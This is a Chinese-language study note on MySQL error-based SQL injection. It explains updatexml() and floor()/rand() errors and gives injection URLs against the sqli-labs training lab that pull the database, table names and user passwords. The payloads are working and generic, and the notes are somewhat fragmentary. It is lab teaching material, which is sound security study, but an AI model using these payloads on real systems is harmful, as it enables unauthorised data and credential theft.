一下ppt来自传送门
小技巧:
0x3a 代表 :
0x7e 代表 ~
updatexml()报错注入用法
updataxml()报错的本质是函数的报错
以下解释来自传送门
首先了解下updatexml()函数
1
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值
改变XML_document中符合XPATH_string的值
而我们的注入语句为:
updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
其中的concat()函数是将其连成一个字符串,因此不会符合XPATH_string的格式,从而出现格式错误,爆出
ERROR 1105 (HY000): XPATH syntax error: ':root@localhost'
爆数据库
可将where table_schema=database() 改为 where table_name =‘security’
http://sqli-labs:65/Less-1/?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 1,1),0x7e),1)--+
爆表
爆用户
报错注入有其限制的地方,回显最多能显示30位,所以用substr()截取
http://sqli-labs:65/Less-1/?id=1' and updatexml(1,concat(0x7e,(select substr(concat(password),1,1) from users limit 0,1),0x7e),1)--+
1,,1
1,2
floor()报错注入用法
floor()报错原理是rand和order by或group by的冲突。
分解: select count(*) from information_schema.tables group by concat((select version()),floor(rand(0)*2));
concat 连接字符串功能
floor:取float的整数值
rand:取0到1之间随机浮点值
group by"根据一个或多个列对结果进行分组并有排序功能。
http://sqli-labs:65/Less-1/?id=1' and (select count(*) from information_schema.tables group by concat(0x7e,(select * from users limit 0,1),0x7e ,floor(rand(0)*2)))--+
爆数据库
http://sqli-labs:65/Less-1/?id=1' and (select count(*) from information_schema.tables group by concat(0x7e,(select database(),0x7e ,floor(rand(0)*2)))--+
爆表
http://sqli-labs:65/Less-1/?id=1' and (select count(*) from information_schema.tables group by concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e,floor(rand(0)*2)))--+
爆字段